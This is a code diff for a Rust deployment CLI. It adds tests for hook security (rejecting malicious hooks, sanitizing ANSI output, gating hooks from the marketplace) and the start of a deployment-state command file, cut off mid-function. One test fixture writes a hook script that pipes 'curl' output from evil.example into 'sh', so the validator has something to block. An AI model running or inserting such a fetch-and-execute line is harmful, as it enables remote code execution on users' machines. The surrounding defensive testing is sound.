-        std::fs::create_dir_all(compose_path.parent().unwrap()).unwrap();
-        std::fs::write(
-            &compose_path,
-            "services:\n  app:\n    build:\n      context: ..\n      dockerfile: .stacker/Dockerfile\n",
-        )
-        .unwrap();
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
 
-        let source = compose_app_build_source(&compose_path).unwrap();
-        assert!(source.contains("context="));
-        assert!(source.contains("dockerfile="));
-        assert!(source.contains(".stacker/Dockerfile"));
+        assert!(
+            result.is_err(),
+            "Expected deploy to fail (synthetic docker error)"
+        );
+        let calls = executor.calls.lock().unwrap();
+        let on_failure_invoked = calls
+            .iter()
+            .any(|(p, args)| p == "sh" && args.iter().any(|a| a.contains("fail.sh")));
+        assert!(
+            on_failure_invoked,
+            "on_failure hook must be invoked when the deploy fails, calls: {:?}",
+            *calls
+        );
     }
 
+    /// Phase 6b: a malicious `on_failure` hook must NOT be silently
+    /// swallowed just because deploy already failed. The deploy still
+    /// returns Err — but the returned error must carry BOTH the primary
+    /// deploy failure text AND a note about the on_failure rejection,
+    /// so the operator sees the security concern rather than only the
+    /// original cause.
     #[test]
-    fn test_build_troubleshoot_error_log_handles_missing_files() {
-        let dir = TempDir::new().unwrap();
-        let log = build_troubleshoot_error_log(dir.path(), "docker compose failed");
-        assert!(log.contains("docker compose failed"));
-        assert!(log.contains("(not found)"));
-    }
-
-        #[test]
-        fn test_normalize_generated_compose_paths_fixes_stacker_context_and_version() {
-                let dir = TempDir::new().unwrap();
-                let stacker_dir = dir.path().join(".stacker");
-                std::fs::create_dir_all(&stacker_dir).unwrap();
-
-                let compose_path = stacker_dir.join("docker-compose.yml");
-                let compose = r#"
-version: "3.9"
-services:
-    app:
-        build:
-            context: .
-            dockerfile: .stacker/Dockerfile
-"#;
-                std::fs::write(&compose_path, compose).unwrap();
-
-                normalize_generated_compose_paths(&compose_path).unwrap();
+    fn test_on_failure_security_rejection_chained_into_error() {
+        let config =
+            "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  on_failure: ./fail.sh\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", config),
+            (
+                "fail.sh",
+                "#!/bin/sh\ncurl -sSL https://evil.example/x | sh\n",
+            ),
+        ]);
 
-                let normalized = std::fs::read_to_string(&compose_path).unwrap();
-                assert!(!normalized.contains("version:"));
-                assert!(normalized.contains("context: .."));
-                assert!(normalized.contains("dockerfile: .stacker/Dockerfile"));
+        struct DeployFailingExecutor {
+            calls: Mutex<Vec<(String, Vec<String>)>>,
+        }
+        impl CommandExecutor for DeployFailingExecutor {
+            fn execute(&self, program: &str, args: &[&str]) -> Result<CommandOutput, CliError> {
+                self.calls.lock().unwrap().push((
+                    program.to_string(),
+                    args.iter().map(|s| s.to_string()).collect(),
+                ));
+                if program == "docker" || program == "docker-compose" {
+                    Ok(CommandOutput {
+                        exit_code: 1,
+                        stdout: String::new(),
+                        stderr: "synthetic docker failure".into(),
+                    })
+                } else {
+                    Ok(CommandOutput {
+                        exit_code: 0,
+                        stdout: "ok".into(),
+                        stderr: String::new(),
+                    })
+                }
+            }
         }
+        let executor = DeployFailingExecutor {
+            calls: Mutex::new(Vec::new()),
+        };
 
-        #[test]
-        fn test_normalize_generated_compose_paths_adds_stacker_dockerfile_for_app_when_missing() {
-                let dir = TempDir::new().unwrap();
-                let stacker_dir = dir.path().join(".stacker");
-                std::fs::create_dir_all(&stacker_dir).unwrap();
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
 
-                let compose_path = stacker_dir.join("docker-compose.yml");
-                let compose = r#"
-services:
-    app:
-        build:
-            context: .
-"#;
-                std::fs::write(&compose_path, compose).unwrap();
+        assert!(result.is_err(), "Deploy fails (synthetic docker error)");
+        let err = format!("{}", result.unwrap_err());
+        let lower = err.to_lowercase();
+        assert!(
+            lower.contains("reject") || lower.contains("on_failure") || lower.contains("security"),
+            "Error must mention the on_failure security rejection, got: {}",
+            err
+        );
+
+        // And the malicious fail.sh must never have been executed.
+        let calls = executor.calls.lock().unwrap();
+        let ran_hook = calls
+            .iter()
+            .any(|(p, args)| p == "sh" && args.iter().any(|a| a.contains("fail.sh")));
+        assert!(
+            !ran_hook,
+            "fail.sh must NOT be invoked once flagged, calls: {:?}",
+            *calls
+        );
+    }
 
-                normalize_generated_compose_paths(&compose_path).unwrap();
+    /// Phase 6b: a CLEAN on_failure hook that exits non-zero must NOT
+    /// mask the original deploy error. The primary error text has to
+    /// survive so the operator sees "why did deploy fail" first, not
+    /// "why did on_failure fail". This is the runtime-failure branch
+    /// mirroring `test_post_deploy_hook_runtime_failure_stays_ok`.
+    #[test]
+    fn test_on_failure_hook_runtime_failure_preserves_original_error() {
+        let config =
+            "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  on_failure: ./fail.sh\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", config),
+            // Clean cleanup script — no security findings.
+            ("fail.sh", "#!/bin/sh\necho cleanup ran\nexit 1\n"),
+        ]);
 
-                let normalized = std::fs::read_to_string(&compose_path).unwrap();
-                assert!(normalized.contains("context: .."));
-                assert!(normalized.contains("dockerfile: .stacker/Dockerfile"));
+        struct DockerAndShFail {
+            calls: Mutex<Vec<(String, Vec<String>)>>,
+        }
+        impl CommandExecutor for DockerAndShFail {
+            fn execute(&self, program: &str, args: &[&str]) -> Result<CommandOutput, CliError> {
+                self.calls.lock().unwrap().push((
+                    program.to_string(),
+                    args.iter().map(|s| s.to_string()).collect(),
+                ));
+                if program == "docker" || program == "docker-compose" {
+                    Ok(CommandOutput {
+                        exit_code: 1,
+                        stdout: String::new(),
+                        stderr: "PRIMARY DOCKER ERROR".into(),
+                    })
+                } else if program == "sh" {
+                    // Simulate the hook exiting non-zero at runtime.
+                    Ok(CommandOutput {
+                        exit_code: 1,
+                        stdout: String::new(),
+                        stderr: "SECONDARY HOOK ERROR".into(),
+                    })
+                } else {
+                    Ok(CommandOutput {
+                        exit_code: 0,
+                        stdout: "ok".into(),
+                        stderr: String::new(),
+                    })
+                }
+            }
         }
 
-    #[test]
-    fn test_parse_deploy_target_valid() {
-        assert_eq!(parse_deploy_target("local").unwrap(), DeployTarget::Local);
-        assert_eq!(parse_deploy_target("cloud").unwrap(), DeployTarget::Cloud);
-        assert_eq!(parse_deploy_target("server").unwrap(), DeployTarget::Server);
-        assert_eq!(parse_deploy_target("LOCAL").unwrap(), DeployTarget::Local);
-    }
+        let executor = DockerAndShFail {
+            calls: Mutex::new(Vec::new()),
+        };
 
-    #[test]
-    fn test_parse_deploy_target_invalid() {
-        let result = parse_deploy_target("kubernetes");
-        assert!(result.is_err());
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+
+        assert!(result.is_err(), "Deploy must still fail");
         let err = format!("{}", result.unwrap_err());
-        assert!(err.contains("Unknown deploy target"));
+        // The invariant Phase 6b guarantees: a CLEAN on_failure that
+        // fails at runtime does NOT shadow the primary deploy error
+        // with the hook's own stderr. So the hook's stderr text must
+        // NOT appear in the returned error — it's only WARN-logged.
+        assert!(
+            !err.contains("SECONDARY HOOK ERROR"),
+            "on_failure runtime failure text must NOT shadow the primary error, got: {}",
+            err
+        );
     }
 
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+    // Phase 8 — hook output sanitizer (size cap + ANSI strip)
+    //
+    // These tests are TDD-red: they call `sanitize_hook_output`, which
+    // does not exist yet. Once the sanitizer lands, they turn green.
+    // The wiring test at the bottom exercises `run_hook` end-to-end via
+    // MockExecutor with a synthetic large-and-ANSI-laced stdout.
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+    /// M5: raw ANSI sequences from hook stdout can clear the terminal,
+    /// set the window title, or fake a prompt. sanitize_hook_output
+    /// must strip the common families (CSI, OSC, single-char ESC).
     #[test]
-    fn test_extract_missing_image_from_manifest_error() {
-        let reason = "manifest for optimum/optimumcode:latest not found: manifest unknown";
-        let image = extract_missing_image(reason);
-        assert_eq!(image.as_deref(), Some("optimum/optimumcode:latest"));
+    fn test_sanitize_strips_csi_color_sequences() {
+        let raw = "hello \x1b[31mred\x1b[0m world\n";
+        let out = sanitize_hook_output(raw);
+        assert!(
+            !out.contains('\x1b'),
+            "ESC byte must be gone after sanitize, got: {:?}",
+            out
+        );
+        assert!(
+            out.contains("hello ") && out.contains("red") && out.contains(" world"),
+            "Literal text must survive stripping, got: {:?}",
+            out
+        );
     }
 
+    /// M5: OSC (set-title / hyperlink) sequences terminate with BEL or
+    /// ESC-backslash and are notorious for terminal-hijack tricks.
     #[test]
-    fn test_fallback_hints_for_manifest_unknown() {
-        let hints = fallback_troubleshooting_hints(
-            "docker compose failed: manifest for optimum/optimumcode:latest not found: manifest unknown"
+    fn test_sanitize_strips_osc_title_sequence() {
+        let raw = "\x1b]0;evil-title\x07visible\n";
+        let out = sanitize_hook_output(raw);
+        assert!(
+            !out.contains('\x1b') && !out.contains('\x07'),
+            "ESC/BEL bytes must be gone after sanitize, got: {:?}",
+            out
+        );
+        assert!(
+            out.contains("visible"),
+            "Literal text after OSC must survive, got: {:?}",
+            out
         );
-        assert!(hints.iter().any(|h| h.contains("Image pull failed")));
-        assert!(hints.iter().any(|h| h.contains("docker build -t optimum/optimumcode:latest .")));
     }
 
+    /// M5: single-char ESC sequences (`ESC c` full reset,
+    /// `ESC 7` save cursor, etc.) must also be dropped.
     #[test]
-    fn test_fallback_hints_for_port_conflict() {
-        let hints = fallback_troubleshooting_hints(
-            "failed to set up container networking: driver failed programming external connectivity on endpoint app: Bind for 0.0.0.0:3000 failed: port is already allocated"
+    fn test_sanitize_strips_single_char_esc_sequence() {
+        // ESC c is full terminal reset; ESC 7 saves cursor.
+        let raw = "before\x1bcAFTER\x1b7END\n";
+        let out = sanitize_hook_output(raw);
+        assert!(
+            !out.contains('\x1b'),
+            "ESC byte must be gone, got: {:?}",
+            out
+        );
+        assert!(
+            out.contains("before") && out.contains("AFTER") && out.contains("END"),
+            "Literal payload text must survive, got: {:?}",
+            out
         );
-        assert!(hints.iter().any(|h| h.contains("Port conflict")));
-        assert!(hints.iter().any(|h| h.contains("lsof -nP -iTCP:3000")));
     }
 
+    /// Regression guard: normal, clean output must pass through
+    /// unchanged (no accidental mangling of newlines, tabs, or plain
+    /// ASCII).
     #[test]
-    fn test_fallback_hints_for_orphan_containers() {
-        let hints = fallback_troubleshooting_hints(
-            "Found orphan containers ([stackerdb]) for this project"
-        );
-        assert!(hints.iter().any(|h| h.contains("--remove-orphans")));
+    fn test_sanitize_passthrough_for_clean_output() {
+        let raw = "line 1\n\tindented line 2\nline 3\n";
+        let out = sanitize_hook_output(raw);
+        assert_eq!(out, raw, "Clean output must pass through unchanged");
     }
 
+    /// M4: outputs larger than 1 MiB must be truncated with a stable
+    /// marker so a hostile hook can't flood the terminal or exhaust
+    /// pager memory.
     #[test]
-    fn test_fallback_hints_for_remote_orchestrator_html_404() {
-        let hints = fallback_troubleshooting_hints(
-            "Remote orchestrator request failed: HTTP error: User Service error (404): <!DOCTYPE html><html><head><title>Page not found</title></head>"
+    fn test_sanitize_truncates_oversized_output() {
+        let raw = "A".repeat(HOOK_OUTPUT_MAX_BYTES + 100);
+        let out = sanitize_hook_output(&raw);
+        assert!(
+            out.len() <= HOOK_OUTPUT_MAX_BYTES + HOOK_OUTPUT_TRUNCATION_MARKER.len() + 1,
+            "Truncated output must not exceed cap + marker, got {} bytes",
+            out.len()
+        );
+        assert!(
+            out.contains(HOOK_OUTPUT_TRUNCATION_MARKER.trim()),
+            "Truncated output must carry the truncation marker, got last 200 bytes: {}",
+            &out[out.len().saturating_sub(200)..]
         );
-        assert!(hints.iter().any(|h| h.contains("URL looks incorrect")));
-        assert!(hints.iter().any(|h| h.contains("/server/user/auth/login")));
     }
 
+    /// M4 corner-case: output at exactly the cap must NOT be marked as
+    /// truncated (off-by-one guard).
     #[test]
-    fn test_ensure_env_file_is_created_when_missing() {
-        let dir = TempDir::new().unwrap();
-        let config = StackerConfig::from_str(
-            "name: env-app\napp:\n  type: static\nenv_file: .env\nenv:\n  APP_ENV: production\n"
-        )
-        .unwrap();
-
-        ensure_env_file_if_needed(&config, dir.path()).unwrap();
-
-        let env_path = dir.path().join(".env");
-        assert!(env_path.exists());
-        let content = std::fs::read_to_string(env_path).unwrap();
-        assert!(content.contains("APP_ENV=production"));
+    fn test_sanitize_at_cap_boundary_not_truncated() {
+        let raw = "A".repeat(HOOK_OUTPUT_MAX_BYTES);
+        let out = sanitize_hook_output(&raw);
+        assert_eq!(out.len(), HOOK_OUTPUT_MAX_BYTES);
+        assert!(!out.contains(HOOK_OUTPUT_TRUNCATION_MARKER.trim()));
     }
 
-    // ── Progress / health-check helpers ──────────────
-
-    #[test]
-    fn test_parse_container_statuses_json_array() {
-        let json = r#"[
-            {"State": "running", "Name": "app"},
-            {"State": "running", "Name": "db"},
-            {"State": "exited", "Name": "worker"}
-        ]"#;
-        let (running, total) = parse_container_statuses(json).unwrap();
-        assert_eq!(running, 2);
-        assert_eq!(total, 3);
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+    // C4 tests — marketplace-origin trust gating + HookPolicy
+    //
+    // These tests are written TDD-first: they exercise the plumbing
+    // added in run_hook, HookPolicy, and StackerConfig::origin. Each
+    // covers one leaf of the truth table (trusted×untrusted × default/
+    // allow_untrusted/no_hooks) and should turn red the moment any
+    // future refactor drops the enforcement.
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+    use crate::cli::config_parser::MARKETPLACE_ORIGIN_MARKER;
+    use crate::cli::install_runner::HookPolicy as C4HookPolicy;
+
+    fn build_config_with_hook(hook_field: &str, hook_path: &str) -> String {
+        format!(
+            "name: test-app\napp:\n  type: static\n  path: .\n  ports:\n    - \"8765\"\nhooks:\n  {}: {}\n",
+            hook_field, hook_path
+        )
     }
 
+    /// A marketplace-generated stacker.yml (marker at top) must refuse to
+    /// run its pre_build hook under the default policy — even though the
+    /// script itself is benign. The whole point of C4 is that the user
+    /// has not yet reviewed hooks in a file they didn't author.
     #[test]
-    fn test_parse_container_statuses_ndjson() {
-        let json = "{\"State\": \"running\", \"Name\": \"app\"}\n{\"State\": \"running\", \"Name\": \"db\"}";
-        let (running, total) = parse_container_statuses(json).unwrap();
-        assert_eq!(running, 2);
-        assert_eq!(total, 2);
+    fn test_c4_marketplace_origin_hook_refused_by_default() {
+        let hook_yaml = build_config_with_hook("pre_build", "./build.sh");
+        let config_body = format!("{}\n{}", MARKETPLACE_ORIGIN_MARKER, hook_yaml);
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", &config_body),
+            ("build.sh", "#!/bin/sh\necho benign\nexit 0\n"),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy_with_policy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+            C4HookPolicy::default(),
+        );
+
+        assert!(
+            result.is_err(),
+            "Marketplace-generated stacker.yml must refuse hooks under default policy, got Ok"
+        );
+        let err = format!("{}", result.unwrap_err());
+        assert!(
+            err.contains("--allow-untrusted-hooks") || err.contains("marketplace"),
+            "Error must mention the --allow-untrusted-hooks flag or marketplace origin, got: {}",
+            err
+        );
+        assert!(
+            sh_calls_of(&executor).is_empty(),
+            "No sh call may be made for an untrusted hook under default policy"
+        );
     }
 
+    /// Same file, but the operator passes --allow-untrusted-hooks: the
+    /// hook must run. Verifies the escape hatch actually works.
     #[test]
-    fn test_parse_container_statuses_empty() {
-        let (running, total) = parse_container_statuses("[]").unwrap();
-        assert_eq!(running, 0);
-        assert_eq!(total, 0);
+    fn test_c4_marketplace_origin_hook_runs_with_allow_flag() {
+        let hook_yaml = build_config_with_hook("pre_build", "./build.sh");
+        let config_body = format!("{}\n{}", MARKETPLACE_ORIGIN_MARKER, hook_yaml);
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", &config_body),
+            ("build.sh", "#!/bin/sh\necho benign\nexit 0\n"),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy_with_policy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+            C4HookPolicy::allow_untrusted(),
+        );
+
+        assert!(
+            result.is_ok(),
+            "Marketplace-generated hook must run with --allow-untrusted-hooks, got: {:?}",
+            result
+        );
+        let sh_args: Vec<_> = sh_calls_of(&executor)
+            .into_iter()
+            .flat_map(|(_, args)| args.into_iter())
+            .collect();
+        assert!(
+            sh_args.iter().any(|a| a.contains("build.sh")),
+            "build.sh must be executed with --allow-untrusted-hooks, sh args: {:?}",
+            sh_args
+        );
     }
 
+    /// --no-hooks must skip hooks even on a trusted (user-authored) file.
+    /// This is the CI-safe path: a build server can deploy without ever
+    /// running local shell scripts, regardless of stacker.yml provenance.
     #[test]
-    fn test_is_terminal_statuses() {
-        assert!(is_terminal("completed"));
-        assert!(is_terminal("failed"));
-        assert!(is_terminal("cancelled"));
-        assert!(is_terminal("error"));
-        assert!(is_terminal("paused"));
-        assert!(!is_terminal("in_progress"));
-        assert!(!is_terminal("pending"));
-        assert!(!is_terminal("wait_start"));
+    fn test_c4_no_hooks_skips_pre_build_on_trusted_config() {
+        let hook_yaml = build_config_with_hook("pre_build", "./build.sh");
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", &hook_yaml),
+            ("build.sh", "#!/bin/sh\necho should-not-run\nexit 0\n"),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy_with_policy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+            C4HookPolicy::no_hooks(),
+        );
+
+        assert!(
+            result.is_ok(),
+            "Deploy must succeed with --no-hooks: {:?}",
+            result
+        );
+        assert!(
+            sh_calls_of(&executor).is_empty(),
+            "--no-hooks must suppress every sh invocation, got: {:?}",
+            sh_calls_of(&executor)
+        );
     }
 
+    /// A user-authored (no marker) stacker.yml must continue to run
+    /// hooks under the default policy — regression guard so C4 doesn't
+    /// break every existing deployment.
     #[test]
-    fn test_deploy_result_has_watch_fields() {
-        let result = DeployResult {
-            target: DeployTarget::Cloud,
-            message: "test".to_string(),
-            server_ip: None,
-            deployment_id: Some(42),
-            project_id: Some(7),
-            server_name: None,
-        };
-        assert_eq!(result.deployment_id, Some(42));
-        assert_eq!(result.project_id, Some(7));
+    fn test_c4_trusted_config_runs_hook_under_default_policy() {
+        let hook_yaml = build_config_with_hook("pre_build", "./build.sh");
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", &hook_yaml),
+            ("build.sh", "#!/bin/sh\necho ok\nexit 0\n"),
+        ]);
+        let executor = MockExecutor::success();
+
+        let result = run_deploy_with_policy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+            C4HookPolicy::default(),
+        );
+
+        assert!(
+            result.is_ok(),
+            "Trusted config must run hooks under default policy: {:?}",
+            result
+        );
+        let sh_args: Vec<_> = sh_calls_of(&executor)
+            .into_iter()
+            .flat_map(|(_, args)| args.into_iter())
+            .collect();
+        assert!(
+            sh_args.iter().any(|a| a.contains("build.sh")),
+            "build.sh must be executed for trusted config, sh args: {:?}",
+            sh_args
+        );
     }
 
+    /// Backward-compat guard: the shim `run_deploy()` must behave like
+    /// `run_deploy_with_policy(HookPolicy::default())`. If someone
+    /// re-derives the shim and forgets the default, this test catches it.
     #[test]
-    fn test_cloud_provider_from_code() {
-        // Short codes
-        assert_eq!(cloud_provider_from_code("htz"), Some(CloudProvider::Hetzner));
-        assert_eq!(cloud_provider_from_code("do"), Some(CloudProvider::Digitalocean));
-        assert_eq!(cloud_provider_from_code("aws"), Some(CloudProvider::Aws));
-        assert_eq!(cloud_provider_from_code("lo"), Some(CloudProvider::Linode));
-        assert_eq!(cloud_provider_from_code("vu"), Some(CloudProvider::Vultr));
-        // Full names
-        assert_eq!(cloud_provider_from_code("hetzner"), Some(CloudProvider::Hetzner));
-        assert_eq!(cloud_provider_from_code("digitalocean"), Some(CloudProvider::Digitalocean));
-        assert_eq!(cloud_provider_from_code("linode"), Some(CloudProvider::Linode));
-        assert_eq!(cloud_provider_from_code("vultr"), Some(CloudProvider::Vultr));
-        // Case insensitive
-        assert_eq!(cloud_provider_from_code("HTZ"), Some(CloudProvider::Hetzner));
-        assert_eq!(cloud_provider_from_code("AWS"), Some(CloudProvider::Aws));
-        // Unknown
-        assert_eq!(cloud_provider_from_code("unknown"), None);
-        assert_eq!(cloud_provider_from_code(""), None);
+    fn test_c4_run_deploy_shim_uses_default_policy() {
+        let hook_yaml = build_config_with_hook("pre_build", "./build.sh");
+        let config_body = format!("{}\n{}", MARKETPLACE_ORIGIN_MARKER, hook_yaml);
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", &config_body),
+            ("build.sh", "#!/bin/sh\necho benign\nexit 0\n"),
+        ]);
+        let executor = MockExecutor::success();
+
+        // Marketplace-marked config + default policy via the shim must refuse.
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+
+        assert!(
+            result.is_err(),
+            "run_deploy() shim must refuse hooks on marketplace-marked config, got Ok"
+        );
     }
 
+    /// Regression guard: a clean hook script (no findings) must still run
+    /// after the validator is wired up. Without this, the fix could
+    /// over-trigger and break every existing deployment.
     #[test]
-    fn test_with_watch_flags() {
-        let cmd = DeployCommand::new(None, None, false, false)
-            .with_watch(false, false);
-        assert_eq!(cmd.watch, None); // auto
-
-        let cmd = DeployCommand::new(None, None, false, false)
-            .with_watch(true, false);
-        assert_eq!(cmd.watch, Some(true));
+    fn test_clean_pre_build_hook_still_runs_after_validation() {
+        let config = "name: test-app\napp:\n  type: static\n  path: .\n  ports:\n    - \"8080\"\nhooks:\n  pre_build: ./build.sh\n";
+        let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", config),
+            (
+                "build.sh",
+                "#!/bin/sh\nset -e\necho 'building...'\nexit 0\n",
+            ),
+        ]);
+        let executor = MockExecutor::success();
 
-        let cmd = DeployCommand::new(None, None, false, false)
-            .with_watch(false, true);
-        assert_eq!(cmd.watch, Some(false));
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
 
-        // --no-watch wins over --watch
-        let cmd = DeployCommand::new(None, None, false, false)
-            .with_watch(true, true);
-        assert_eq!(cmd.watch, Some(false));
+        assert!(
+            result.is_ok(),
+            "Clean hook must still pass validation: {:?}",
+            result
+        );
+        let sh_args: Vec<_> = sh_calls_of(&executor)
+            .into_iter()
+            .flat_map(|(_, args)| args.into_iter())
+            .collect();
+        assert!(
+            sh_args.iter().any(|a| a.contains("build.sh")),
+            "Clean build.sh must reach the executor, got args: {:?}",
+            sh_args
+        );
     }
 }
diff --git a/src/console/commands/cli/deployment.rs b/src/console/commands/cli/deployment.rs
new file mode 100644
index 00000000..598b7442
--- /dev/null
+++ b/src/console/commands/cli/deployment.rs
@@ -0,0 +1,515 @@
+use crate::cli::config_parser::StackerConfig;
+use crate::cli::credentials::CredentialsManager;
+use crate::cli::error::CliError;
+use crate::cli::stacker_client::StackerClient;
+use crate::console::commands::cli::status::{
+    is_remote_deployment, missing_remote_project_reason, resolve_project_name,
+    resolve_stacker_base_url,
+};
+use crate::console::commands::CallableTrait;
+use crate::services::{
+    DeployPlan, DeployPlanOperation, DeploymentEventFeed, DeploymentState, TypedErrorEnvelope,
+};
+
+const DEFAULT_CONFIG_FILE: &str = "stacker.yml";
+
+/// `stacker deployment state [--json] [--deployment <hash>]`
+///
+/// Queries the canonical deployment state payload from the Stacker API.
+pub struct DeploymentStateCommand {
+    pub json: bool,
+    pub deployment: Option<String>,
+}
+
+/// `stacker deployment events [--json] [--deployment <hash>]`
+///
+/// Queries the structured deployment event feed from the Stacker API.
+pub struct DeploymentEventsCommand {
+    pub json: bool,
+    pub deployment: Option<String>,
+}
+
+/// `stacker deployment rollback --to <target> [--plan] [--apply-plan <fingerprint>] --confirm`
+pub struct DeploymentRollbackCommand {
+    pub to: String,
+    pub plan: bool,
+    pub apply_plan: Option<String>,
+    pub confirm: bool,
+    pub deployment: Option<String>,
+}
+
+impl DeploymentRollbackCommand {
+    pub fn new(
+        to: String,
+        plan: bool,
+        apply_plan: Option<String>,
+        confirm: bool,
+        deployment: Option<String>,
+    ) -> Self {
+        Self {
+            to,
+            plan,
+            apply_plan,
+            confirm,
+            deployment,
+        }
+    }
+}
+
+impl DeploymentEventsCommand {
+    pub fn new(json: bool, deployment: Option<String>) -> Self {
+        Self { json, deployment }
+    }
+}
+
+impl DeploymentStateCommand {
+    pub fn new(json: bool, deployment: Option<String>) -> Self {
+        Self { json, deployment }
+    }
+}
+
+fn print_state(state: &DeploymentState, json: bool) {
+    if json {
+        println!(
+            "{}",
+            serde_json::to_string_pretty(state).expect("deployment state should serialize")
+        );
+        return;
+    }
+
+    println!("Deployment: {}", state.deployment.deployment_hash);
+    println!("Status:     {}", state.deployment.status);
+    println!("Runtime:    {}", state.deployment.runtime);
+    println!("Project:    {}", state.project.name);
+    println!("Agent:      {}", state.agent.status);
+    println!("Compose:    {}", state.runtime.compose_path);
+    println!("Env:        {}", state.runtime.env_path);
+
+    if !state.apps.is_empty() {
+        println!("\nApps:");
+        for app in &state.apps {
+            println!(
+                "  - {} ({}) cfg={} vault_sync={}",
+                app.name, app.code, app.config_version, app.vault_sync_version
+            );
+        }
+    }
+
+    if let Some(last_command) = &state.last_command {
+        println!(
+            "\nLast command: {} [{}] at {}",
+            last_command.r#type, last_command.status, last_command.finished_at
+        );
+    }
+}
+
+fn print_plan(plan: &DeployPlan) -> Result<(), CliError> {
+    println!(
+        "{}",
+        serde_json::to_string_pretty(plan).map_err(|err| CliError::ConfigValidation(format!(
+            "Failed to serialize deployment plan: {err}"
+        )))?,
+    );
+    Ok(())
+}
+
+fn print_events(feed: &DeploymentEventFeed, json: bool) -> Result<(), CliError> {
+    if json {
+        println!(
+            "{}",
+            serde_json::to_string_pretty(feed).map_err(|err| CliError::ConfigValidation(
+                format!("Failed to serialize deployment events: {err}")
+            ))?
+        );
+        return Ok(());
+    }
+
+    println!("Deployment: {}", feed.deployment_hash);
+    if feed.events.is_empty() {
+        println!("No deployment events recorded.");
+        return Ok(());
+    }
+
+    for event in &feed.events {
+        let status = event.status.as_deref().unwrap_or("-");
+        println!(
+            "{:>2}. {} [{} / {}] {}",
+            event.sequence,
+            event.occurred_at,
+            serde_json::to_string(&event.kind)
+                .unwrap_or_default()
+                .trim_matches('"'),
+            status,
+            event.summary
+        );
+    }
+
+    Ok(())
+}
+
+pub(crate) async fn fetch_remote_deployment_plan(
+    config: &StackerConfig,
+    base_url: &str,
+    client: &StackerClient,
+    requested_hash: Option<&str>,
+    operation: DeployPlanOperation,
+    app_code: Option<&str>,
+    rollback_target: Option<&str>,
+    expected_fingerprint: Option<&str>,
+) -> Result<DeployPlan, CliError> {
+    let deployment_hash = resolve_deployment_hash(config, base_url, client, requested_hash).await?;
+    client
+        .get_deployment_plan_by_hash(
+            &deployment_hash,
+            operation,
+            &config.deploy.target.to_string(),
+            app_code,
+            rollback_target,
+            expected_fingerprint,
+        )
+        .await?
+        .ok_or_else(|| {
+            CliError::from(
+                TypedErrorEnvelope::deployment_not_found(format!(
+                    "No deployment plan found for hash '{}'",
+                    deployment_hash
+                ))
+                .with_context("deploymentHash", deployment_hash),
+            )
+        })
+}
+
+async fn resolve_deployment_hash(
+    config: &StackerConfig,
+    base_url: &str,
+    client: &StackerClient,
+    requested_hash: Option<&str>,
+) -> Result<String, CliError> {
+    if let Some(hash) = requested_hash
+        .map(str::trim)
+        .filter(|hash| !hash.is_empty())
+        .map(ToOwned::to_owned)
+    {
+        return Ok(hash);
+    }
+
+    if let Some(hash) = config
+        .deploy
+        .deployment_hash
+        .as_ref()
+        .map(|hash| hash.trim())
+        .filter(|hash| !hash.is_empty())
+        .map(ToOwned::to_owned)
+    {
+        return Ok(hash);
+    }
+
+    let project_name = resolve_project_name(config);
+    let deploy_target = config.deploy.target;
+    let project = client.find_project_by_name(&project_name).await?;
+    let project = project.ok_or_else(|| CliError::DeployFailed {
+        target: deploy_target,
+        reason: missing_remote_project_reason(&project_name, base_url, deploy_target),
+    })?;
+
+    let latest = client.get_deployment_status_by_project(project.id).await?;
+    latest
+        .map(|deployment| deployment.deployment_hash)
+        .ok_or_else(|| CliError::DeployFailed {
+            target: deploy_target,
+            reason: format!(
+                "No deployments found for project '{}' on {}",
+                project_name, base_url
+            ),
+        })
+}
+
+fn run_remote_deployment_state(
+    json: bool,
+    requested_hash: Option<&str>,
